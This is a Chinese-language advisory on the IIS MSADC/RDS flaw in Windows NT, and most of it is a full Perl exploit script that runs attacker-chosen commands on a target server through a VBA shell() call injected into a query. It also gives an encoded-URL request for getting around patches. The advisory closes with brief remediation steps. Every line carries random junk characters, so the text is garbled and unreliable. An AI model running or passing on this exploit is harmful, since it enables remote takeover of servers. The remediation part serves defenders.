IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
#}5uno }"%N4(Kd 涉及程序：
* kh tJ]= Microsoft NT server
6j|{`Zd)G j3ls3H& 描述：
0jWVp- y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:7;@ZEe H3oFORh 详细：
"_?nN"A7 如果你没有时间读详细内容的话，就删除:
VuZr:-K/ c:\Program Files\Common Files\System\Msadc\msadcs.dll
-yNlyHv9 有关的安全问题就没有了。
Z0r'S]fe yEy6 ]f+>+ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
\o3gKoL% j.=
1rwPt 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
<9b &<K: 关于利用ODBC远程漏洞的描述，请参看:
e s0hm2HT3 sV*H`N')S http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm hOK8(U0 n~Lt\K: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
)D%~` ,#pQ http://www.microsoft.com/security/bulletins/MS99-025faq.asp WUT owr ~pky@O# b 这里不再论述。
)fA Uu m l9"s>P U 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
;-Aa|aT! +1!ia] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>+T)#.wo& 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
f*
wx< }Ou}+ ^Bc + LJ73
! #将下面这段保存为txt文件，然后: "perl -x 文件名"
u)Whr@m 8H`[*|{' #!perl
]h V*r@d #
&BSn? # MSADC/RDS 'usage' (aka exploit) script
:b!s2n!u #
hgE71H\s # by rain.forest.puppy
akTk( #
1k^oS$UT # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
h;'~,xA # beta test and find errors!
0b 54fD= #T"4RrR use Socket; use Getopt::Std;
q ZZK#,Qb getopts("e:vd:h:XR", \%args);
)Q JUUn# (**oRw r% print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
]eV8b*d6 K:WDl;8 (d if (!defined $args{h} && !defined $args{R}) {
62NsJ<#> print qq~
b#o|6HkW Usage: msadc.pl -h <host> { -d <delay> -X -v }
DVeE 1Q -h <host> = host you want to scan (ip or domain)
A]3k4DLYS -d <seconds> = delay between calls, default 1 second
\GU<43J2uo -X = dump Index Server path table, if available
!bP@ n -v = verbose
3$
PV2" -e = external dictionary file for step 5
TkF[x%o bW:!5"_{H Or a -R will resume a command session
IAyp 2 >@Kx>cg+ ~; exit;}
l}P=/#</T |1Z)E+q*: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
lk =<A"^S if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!PE]C!*gv& if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
1AFA=t:]p if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Ni7nq8B< $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-I%5$`z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Ws12b $ 5Ynd c)Z if (!defined $args{R}){ $ret = &has_msadc;
UGatWj die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$Y gue5{c A?0Nm{O;3v print "Please type the NT commandline you want to run (cmd /c assumed):\n"
O33 `+UV"W . "cmd /c ";
^kSqsT" $in=<STDIN>; chomp $in;
0IWf!Sk
] $command="cmd /c " . $in ;
Gp\
kU:}& _ WbxH if (defined $args{R}) {&load; exit;}
|V7*l1 4b`=>X;W print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.eC1qWZJpd &try_btcustmr;
8l">cVo]T [.}oyz; }N print "\nStep 2: Trying to make our own DSN...";
;O #>Y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
q0 \6F^;M Zgb!E]V[ print "\nStep 3: Trying known DSNs...";
N)Z?Z+ }h &known_dsn;
L4l!96]a #|``ca54B print "\nStep 4: Trying known .mdbs...";
EEL,^3KR &known_mdb;
iam1V)V LXCx~;{\
if (defined $args{e}){
{7 pli{` print "\nStep 5: Trying dictionary of DSN names...";
D3 K8F@d &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<\S:'g"(
W!(LF7_! print "Sorry Charley...maybe next time?\n";
>KKMcTOYY exit;
t ZB<on<.) ( u idNq ##############################################################################
)=-szJjXZ q" 5(H5 sub sendraw { # ripped and modded from whisker
J?$,c4;W2 sleep($delay); # it's a DoS on the server! At least on mine...
'4<1 1(U my ($pstr)=@_;
P1f[% 1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
AwF:Iu^3n die("Socket problems\n");
8Cv?Z.x5 if(connect(S,pack "SnA4x8",2,80,$target)){
h@wgd~X9 select(S); $|=1;
HkVB80hv print $pstr; my @in=<S>;
Jfl!#UAD|n select(STDOUT); close(S);
6-il s3& return @in;
3T0"" !Q } else { die("Can't connect...\n"); }}
j_ 7mNIr t.C5+^+% ##############################################################################
<
FAheE+ z([</D? sub make_header { # make the HTTP request
mXs; b
2r^ my $msadc=<<EOT
M rb) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
<QGXy= User-Agent: ACTIVEDATA
_h1mF<\ X^ Host: $ip
7 Fs ay+a Content-Length: $clen
@9|hMo Connection: Keep-Alive
]
@fk] ]R |(^ PS8wG ADCClientVersion:01.06
f6"Z'{j Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ZSm3 XXk % %UE+u @J --!ADM!ROX!YOUR!WORLD!
Y\'}a+:@Ph Content-Type: application/x-varg
P0jtp7 )7 Content-Length: $reqlen
Fv`,3aNB sW8dPw
O EOT
"tp Sg ; $msadc=~s/\n/\r\n/g;
UJ6v(:z < return $msadc;}
eb$#A _m lqpp)Cq ##############################################################################
&PtJ$0%q "@8li^ sub make_req { # make the RDS request
IMONgFBS my ($switch, $p1, $p2)=@_;
kB%JNMF{A my $req=""; my $t1, $t2, $query, $dsn;
y1L,0 ] 7 "D.L-H if ($switch==1){ # this is the btcustmr.mdb query
)@bQu~Y $query="Select * from Customers where City=" . make_shell();
3"\l u?-E $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Pj% |\kbNs $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
%ULr8)R;
Dv`c<+q(# elsif ($switch==2){ # this is general make table query
SMK_ 6?MZ $query="create table AZZ (B int, C varchar(10))";
u\nh[1)a) $dsn="$p1";}
^pk7"l4Xm <p"iY}x[H elsif ($switch==3){ # this is general exploit table query
z*)T %p $query="select * from AZZ where C=" . make_shell();
\1Em`nvOX $dsn="$p1";}
r" ,GC] sCHJ&>m5- elsif ($switch==4){ # attempt to hork file info from index server
NQ2E $query="select path from scope()";
D. XvG _ $dsn="Provider=MSIDXS;";}
$ L]lHji ~61v5@ elsif ($switch==5){ # bad query
~ W]TD@w $query="select";
+=8VTC n? $dsn="$p1";}
l1Fc>:o{ xKp4*[}m $t1= make_unicode($query);
=_u4=4 $t2= make_unicode($dsn);
3=ymm ^ $req = "\x02\x00\x03\x00";
VY\&8n}e( $req.= "\x08\x00" . pack ("S1", length($t1));
SasJic2M $req.= "\x00\x00" . $t1 ;
)53y
AyP $req.= "\x08\x00" . pack ("S1", length($t2));
du^J2m{f $req.= "\x00\x00" . $t2 ;
*CHX $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
*4Y V v return $req;}
(Ep\Z 6* [ !OxZ! ##############################################################################
|ZBI * #Mw8^FST sub make_shell { # this makes the shell() statement
#>+ HlT return "'|shell(\"$command\")|'";}
cYt!n5w~W pz>>)c` ##############################################################################
VP]% Hni] I~XSn>-H sub make_unicode { # quick little function to convert to unicode
S{m% H{A! my ($in)=@_; my $out;
A^<iL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
PwLZkr@4^ return $out;}
!C: $?o U |$b}L7_ ##############################################################################
ekCC5P! Ph> %7M% sub rdo_success { # checks for RDO return success (this is kludge)
+srG N5! my (@in) = @_; my $base=content_start(@in);
')3
bl3: if($in[$base]=~/multipart\/mixed/){
gB'6`' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Q'0d~6n&{ return 0;}
G'A R` "F 0"bcdG<} ##############################################################################
ea')$gR 'b{]:Y sub make_dsn { # this makes a DSN for us
`W*U 4?M my @drives=("c","d","e","f");
_5N]B|cO print "\nMaking DSN: ";
N ?"] foreach $drive (@drives) {
'Qe;vZ31K print "$drive: ";
n 7-6-
# my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
^ r,=vO "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
y
h9*z3 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
9qG6Pb $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Jg| XH
L) return 0 if $2 eq "404"; # not found/doesn't exist
d-dEQKI?; if($2 eq "200") {
,\%c^,HLJ foreach $line (@results) {
3'u-' return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
[u*5z.^ } return 0;}
.0]<k,JZZ BR yl4 ##############################################################################
}U"&8%PZr W:L
AP
R sub verify_exists {
C>*u()q>4h my ($page)=@_;
?<'}r7D my @results=sendraw("GET $page HTTP/1.0\n\n");
#4 pB@_ return $results[0];}
SI-Ops~e 'SF<_aS( ##############################################################################
NHZz _a= s,&Z=zt0R sub try_btcustmr {
J nM["Q=` my @drives=("c","d","e","f");
;MdlwQ$` my @dirs=("winnt","winnt35","winnt351","win","windows");
dNe Vo|Y~h QB'aON\S foreach $dir (@dirs) {
@2 fg~2M1 print "$dir -> "; # fun status so you can see progress
E0 9 :E foreach $drive (@drives) {
v
z '&%( print "$drive: "; # ditto
;@|n @ ax $reqlen=length( make_req(1,$drive,$dir) ) - 28;
81
sG $reqlenlen=length( "$reqlen" );
v,>Dbx n $clen= 206 + $reqlenlen + $reqlen;
@t_=Yl2; 'AH0ww_)n my @results=sendraw(make_header() . make_req(1,$drive,$dir));
iqQD{SRt{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^,T(mKS else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
?2Py_gkf :! !at:> ##############################################################################
P
m e^l%M |4 0`B% Z sub odbc_error {
,wAF:7' my (@in)=@_; my $base;
:^B1~p(?sK my $base = content_start(@in);
E#N|w q if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ZX./P0 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`&c kZiq $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]|P iF+ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_^%,x return $in[$base+4].$in[$base+5].$in[$base+6];}
n]o<S+z print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
%aVq+kC h print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
x-&@wMqkc $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
|H+UOEiv,p 8NAON5.! ##############################################################################
ZeaA%y67U ~%kkeh\j sub verbose {
P:MT*ra*, my ($in)=@_;
t=W}SH return if !$verbose;
mSl.mi(JiZ print STDOUT "\n$in\n";}
K^<BW(s +*/Zu`kzX ##############################################################################
z/ @slT 9Y_HyOZ*GX sub save {
9N 3o-= my ($p1, $p2, $p3, $p4)=@_;
_5Ct]vy open(OUT, ">rds.save") || print "Problem saving parameters...\n";
R)s:rJQ=p print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
,S ]7 'UP close OUT;}
jLHkOk5{: |[ai JR[Q ##############################################################################
:e miQ S w, +p sub load {
Ig0VW) @ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_H7x9
y= open(IN,"<rds.save") || die("Couldn't open rds.save\n");
#( 146 @p=<IN>; close(IN);
N)\. [v $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
<FkFs{(t $target= inet_aton($ip) || die("inet_aton problems");
O) n~](sC\ print "Resuming to $ip ...";
9gK` E $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
M\Ye<Tk if($p[1]==1) {
HJ[c M6$2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
B !L{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
rlSeu5X6 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
<
!C)x if (rdo_success(@results)){print "Success!\n";}
['tY4$L( else { print "failed\n"; verbose(odbc_error(@results));}}
4*cEag elsif ($p[1]==3){
w ;:*P if(run_query("$p[3]")){
}-2 2XYh print "Success!\n";} else { print "failed\n"; }}
lE(HFal0-( elsif ($p[1]==4){
/dI&o,sA if(run_query($drvst . "$p[3]")){
(m( JK ^ print "Success!\n"; } else { print "failed\n"; }}
T;a}#56 {^ exit;}
DgQp HF +.b,Aq J/ ##############################################################################
.2Elr(&*h yEoF 4bt sub create_table {
Ww+IWW@ my ($in)=@_;
A d9 }9!< $reqlen=length( make_req(2,$in,"") ) - 28;
ZI}F om< $reqlenlen=length( "$reqlen" );
,K"U> & $clen= 206 + $reqlenlen + $reqlen;
x}I+Iggi my @results=sendraw(make_header() . make_req(2,$in,""));
J$w<$ 5UY return 1 if rdo_success(@results);
C]`$AqKl my $temp= odbc_error(@results); verbose($temp);
sfugY (m return 1 if $temp=~/Table 'AZZ' already exists/;
a a/(N7 return 0;}
W UXx;9 > o&)8o5 ##############################################################################
?(F6#"/E ,pQZ@I\z sub known_dsn {
;) z:fToh # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
bSi%2Onj my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
x,@B(9No "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Gd xnpE "banner", "banners", "ads", "ADCDemo", "ADCTest");
V]e 8a"/[{ $$;M^WV^?. foreach $dSn (@dsns) {
s.QwSbw-g print ".";
d_E/8R_$L next if (!is_access("DSN=$dSn"));
rCbDu&k] if(create_table("DSN=$dSn")){
jB Z&Ad@e print "$dSn successful\n";
Q }K"24`= if(run_query("DSN=$dSn")){
b;W3 j print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
& 4x}ppX print "Something's borked. Use verbose next time\n";}}} print "\n";}
oC: {aK6\ G+"t/?/ ##############################################################################
li'YDtMKCY :B5Fdp3 sub is_access {
o ! Ieb my ($in)=@_;
;yLu R $reqlen=length( make_req(5,$in,"") ) - 28;
l<LP& $reqlenlen=length( "$reqlen" );
{
Vf XsI $clen= 206 + $reqlenlen + $reqlen;
r|fL&dtr my @results=sendraw(make_header() . make_req(5,$in,""));
Zd}9O jz 5 my $temp= odbc_error(@results);
_~J
{wM verbose($temp); return 1 if ($temp=~/Microsoft Access/);
"R1NG?; q return 0;}
#64-~NVL_ (pCrmyB ##############################################################################
Rn(ec s_OF( o sub run_query {
~IfJwBn-i my ($in)=@_;
n&;85IF1 $reqlen=length( make_req(3,$in,"") ) - 28;
TA`1U;c{n $reqlenlen=length( "$reqlen" );
~"&|W'he[ $clen= 206 + $reqlenlen + $reqlen;
vkx7paY_ my @results=sendraw(make_header() . make_req(3,$in,""));
n,V[eW#m'L return 1 if rdo_success(@results);
c"n\cNP< my $temp= odbc_error(@results); verbose($temp);
M 4oy return 0;}
wc NOLUl HJLG=mU ##############################################################################
G )trG9 .a m '|b GV sub known_mdb {
oWim}Er= my @drives=("c","d","e","f","g");
FxtQ Xu-g my @dirs=("winnt","winnt35","winnt351","win","windows");
F|o:W 75 my $dir, $drive, $mdb;
j_!F*yul my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fF$<7O)+] L_uVL#To # this is sparse, because I don't know of many
NMa} {*sQ my @sysmdbs=( "\\catroot\\icatalog.mdb",
rb2S7k0{ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
o WrKM "\\system32\\certmdb.mdb",
'EEJU/"u "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ug!s7fo^ Vod\a 5c my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
dGYn4i2k? "\\cfusion\\cfapps\\forums\\forums_.mdb",
Ustv{:7v "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
4$iz4U:P "\\cfusion\\cfapps\\security\\realm_.mdb",
q77;ZPfs8 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
jk; clwyz/ "\\cfusion\\database\\cfexamples.mdb",
+,T RfP
Fb "\\cfusion\\database\\cfsnippets.mdb",
85 |OGtt "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
?wiC Q6*$ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|+FubYf?$ "\\cfusion\\brighttiger\\database\\cleam.mdb",
~q@|l 3?$ "\\cfusion\\database\\smpolicy.mdb",
<;eW=HT+uq "\\cfusion\\database\cypress.mdb",
1#V_Z^OL "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/7 nb,!~~l "\\website\\cgi-win\\dbsample.mdb",
G~^r)fm_ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Sz)' ogl "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
0_95|3kc ); #these are just
\Xt7`I< foreach $drive (@drives) {
hLd^ agX foreach $dir (@dirs){
TluW-S foreach $mdb (@sysmdbs) {
L3u&/Tn2 print ".";
LEbB( x;@ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
<ktrPlNuM print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
53;}Nt# R if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
{7"Q\ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
n/;WxnnQ } else { print "Something's borked. Use verbose next time\n"; }}}}}
rxgbV. tx =r?hg GWe foreach $drive (@drives) {
7u -p%eq2 foreach $mdb (@mdbs) {
Z58 X 5" print ".";
<y2U3; t if(create_table($drv . $drive . $dir . $mdb)){
(^8Y|:Tz print "\n" . $drive . $dir . $mdb . " successful\n";
~ drS} V if(run_query($drv . $drive . $dir . $mdb)){
zH?! print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
VuhGx :Xl } else { print "Something's borked. Use verbose next time\n"; }}}}
\%JgH=@
:= }
M)J5;^[" w=0(<s2 ##############################################################################
=1FRFZI!j 1y4|{ 7bb sub hork_idx {
iTBx\ u%{ print "\nAttempting to dump Index Server tables...\n";
&=@IzmA print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
S xt"B $reqlen=length( make_req(4,"","") ) - 28;
7{e
4c $reqlenlen=length( "$reqlen" );
fIx+IL s $clen= 206 + $reqlenlen + $reqlen;
4x=v ?g& my @results=sendraw2(make_header() . make_req(4,"",""));
zsEc( if (rdo_success(@results)){
9|^2",V my $max=@results; my $c; my %d;
>a!/QMh for($c=19; $c<$max; $c++){
CTB~Yj@d+ $results[$c]=~s/\x00//g;
!1jBC. G1 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Go`vfm"S $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
e8 >}) $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
y2Q&s 9$Do $d{"$1$2"}="";}
guq{#?} foreach $c (keys %d){ print "$c\n"; }
KB3Htw%W[+ } else {print "Index server doesn't seem to be installed.\n"; }}
6y-@iJ*ld; |IeTqEu9 ##############################################################################
Fd%#78UEo} #5 Q pu
sub dsn_dict {
IA fc T!{ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^H p; .f. while(<IN>){
@N>\|!1CC $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
"(3[+W{| next if (!is_access("DSN=$dSn"));
8l>?Pv if(create_table("DSN=$dSn")){
6 C1#/ print "$dSn successful\n";
%^) fmu if(run_query("DSN=$dSn")){
L\6M^r
> print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=J]&c?I print "Something's borked. Use verbose next time\n";}}}
,Q3T
Tno
, print "\n"; close(IN);}
R~TTL bWjc'P6rx ##############################################################################
Hc k]aKI+ G*?8MTP8![ sub sendraw2 { # ripped and modded from whisker
|%BOZT sleep($delay); # it's a DoS on the server! At least on mine...
$P > my ($pstr)=@_;
A 6 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
sf:,qD=z die("Socket problems\n");
3H'sHuK"X if(connect(S,pack "SnA4x8",2,80,$target)){
]}>2D,; print "Connected. Getting data";
6B8VfQ9[ open(OUT,">raw.out"); my @in;
Y U'k#\gi* select(S); $|=1; print $pstr;
*^pR%E . while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
w49t9~ close(OUT); select(STDOUT); close(S); return @in;
#>a\>iKQ2q } else { die("Can't connect...\n"); }}
J@/kIrx vO H4# ##############################################################################
XnH05LQ WJ]T \D I sub content_start { # this will take in the server headers
*[Imn\hu my (@in)=@_; my $c;
H9Gh>u]} for ($c=1;$c<500;$c++) {
RF?`vRZ Oe if($in[$c] =~/^\x0d\x0a/){
D5gFXEeh if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
s-NX o else { return $c+1; }}}
mtpeRVcF return -1;} # it should never get here actually
T )&A2q [@_ Jj3`4 ##############################################################################
cRC6 s8 +X\FBvP& sub funky {
d UD[e, ? my (@in)=@_; my $error=odbc_error(@in);
WSP I|#Xr% if($error=~/ADO could not find the specified provider/){
8$] 1M,$r print "\nServer returned an ADO miscofiguration message\nAborting.\n";
j}#w )M exit;}
[DYQ"A= )d if($error=~/A Handler is required/){
Ky`qsk vu print "\nServer has custom handler filters (they most likely are patched)\n";
=?5]()'*n exit;}
w$>u b@= if($error=~/specified Handler has denied Access/){
8:q1~`?5"b print "\nServer has custom handler filters (they most likely are patched)\n";
%6t:(z exit;}}
av(6wht8 3RUy, s ##############################################################################
> ^O7 \Zb;'eDv sub has_msadc {
!@5 9) my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
x
o;QCOH my $base=content_start(@results);
NYhB'C2 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
RV1coC.g4x return 0;}
mupT<_Y ~EW(Gs!=C ########################
YByLoM* +l42Awl> K PgAf\.48a 解决方案：
I !-
U'{ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
C;v.S5x 2、移除web 目录: /msadc
